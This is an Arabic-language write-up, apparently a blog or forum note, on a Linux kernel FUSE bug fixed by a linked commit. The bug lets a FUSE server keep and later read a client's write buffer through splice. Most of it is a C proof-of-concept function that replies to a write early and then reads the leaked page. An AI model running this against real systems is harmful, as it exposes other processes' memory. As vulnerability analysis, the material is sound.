
يبدو أن هذه الثغرة تسمح فقط بتسريب المعلومات؟
رابط الإصلاح: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=0c4bcfdecb1ac0967619ee7ff44871d93c08c909 تعود هذه الثغرة بشكل أساسي إلى الطبيعة غير المتزامنة لـ splice، مما يسمح لعملية نظام الملفات (الخادم) بالاحتفاظ بجزء من ذاكرة العملية (العميل) التي أرسلت طلب الخدمة. بعد إغلاق write، تظل عملية نظام الملفات محتفظة بمرجع إلى صفحة الذاكرة المصدر لـ write (عملية نظام الملفات لديها صلاحية القراءة فقط؛ شخصيًا أعتقد أن الضرر ليس كبيرًا :( ).
المنطق الأساسي كما يلي: عندما يتم وضع صفحة العميل في pipe، يُرسل أولاً رد إلى العميل لطلب write الخاص بـ fuse لإنهاء write، وعندها يظل pipe محتفظًا بمرجع لصفحة src الخاصة بـ write، وبعد انتهاء write تُقرأ محتويات src.
void fuse_do_write(fd)
{
fflush(stdout);
puts("-----------------------");
puts("[+] start do_write");
// splice read requset from pipe
puts("[+] create pipe");
int pfd[2], ret;
ret = pipe(pfd);
if (ret < 0)
fatal("pipe");
size_t bufsize = getpagesize() + 0x1000;
ret = splice(fd, NULL, pfd[1], NULL, bufsize, 0);
if (ret < 0)
fatal("splice");
// 通过splice读取头部;
struct fuse_in_header in;
ret = read(pfd[0], &in, sizeof(struct fuse_in_header));
if (ret < 0)
fatal("read head");
fuse_show_req_head(&in);
puts("[+] send reply finish write");//回复write请求
struct fuse_write_out outarg;
outarg.size = 1;
outarg.padding = 0;
printf("unique: %d\n", in.unique);
fuse_send_reply(fd, &outarg, sizeof(outarg), 0, in.unique);
// 阻塞等待子进程write结束
int t = 0;
do
{
fflush(stdout);
puts("[+] input 1 to contine, other to block");
scanf("%d", &t);
puts("[+] ...");
} while (t != 1);
struct fuse_write_in inarg;
struct fuse_bufvec bufv;
ret = read(pfd[0], &inarg, sizeof(struct fuse_write_in));
if (ret < 0)
fatal("read write in");
printf("[+] write in:\n");
printf("\tfh:\t%lld\n", inarg.fh);
printf("\toffset:\t%lld\n", inarg.offset);
printf("\tsize:\t%d\n", inarg.size);
printf("\twrite_flags:\t%d\n", inarg.write_flags);
printf("\tlock_owner:\t%llx\n", inarg.lock_owner);
printf("\tflags:\t%d\n", inarg.flags);
printf("\tpadding:\t%d\n", inarg.padding);
ret = read(pfd[0], &bufv, sizeof(bufv)); //客户端write结束以后再读取page
printf("bufv:\t%s\n", (char *)&bufv);
puts("[+] end do_write");
close(pfd[0]);
close(pfd[1]);
}